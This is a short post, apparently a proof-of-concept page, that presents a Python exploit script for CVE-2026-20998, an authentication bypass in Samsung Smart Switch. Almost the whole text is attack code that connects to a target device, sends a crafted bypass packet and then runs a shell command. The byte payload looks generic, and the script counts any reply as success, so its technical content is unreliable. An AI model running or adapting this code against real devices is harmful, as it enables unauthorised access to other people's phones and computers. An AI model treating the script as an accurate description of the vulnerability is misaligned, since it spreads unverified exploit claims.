CVE-2026-20998 三星Smart Switch身份认证绕过漏洞

# CVE-2026-20998 PoC - Samsung Smart Switch Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in Smart Switch < 3.7.69.15 import socket import struct import requests def exploit_smart_switch_auth_bypass(target_ip, target_port=5555): """ Exploit the improper authentication vulnerability in Samsung Smart Switch Args: target_ip: Target device IP address target_port: Smart Switch service port (default: 5555) Returns: bool: True if exploitation successful, False otherwise """ # Step 1: Send crafted authentication request with malformed header # The vulnerability allows bypassing authentication by manipulating # the authentication handshake sequence auth_bypass_payload = b'\x00\x00\x00\x00' # Malformed auth header auth_bypass_payload += b'\x01\x00\x00\x00' # Bypass flag auth_bypass_payload += b'\x00' * 16 # Padding try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send authentication bypass payload sock.send(auth_bypass_payload) response = sock.recv(1024) # Check if bypass was successful (response indicates authenticated state) if response and len(response) > 0: # Step 2: After successful bypass, execute arbitrary commands cmd_payload = b'\x02\x00\x00\x00' # Command execution header cmd_payload += b'ls -la' # Example command sock.send(cmd_payload) result = sock.recv(4096) print(f"[+] Exploitation successful!") print(f"[+] Received data: {result}") sock.close() return True except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False return False # Example usage if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP print(f"[*] Targeting Samsung Smart Switch at {target}") print(f"[*] Exploiting CVE-2026-20998...") success = exploit_smart_switch_auth_bypass(target) if success: print("[+] Target is vulnerable!") else: print("[-] Target may not be vulnerable or service unavailable")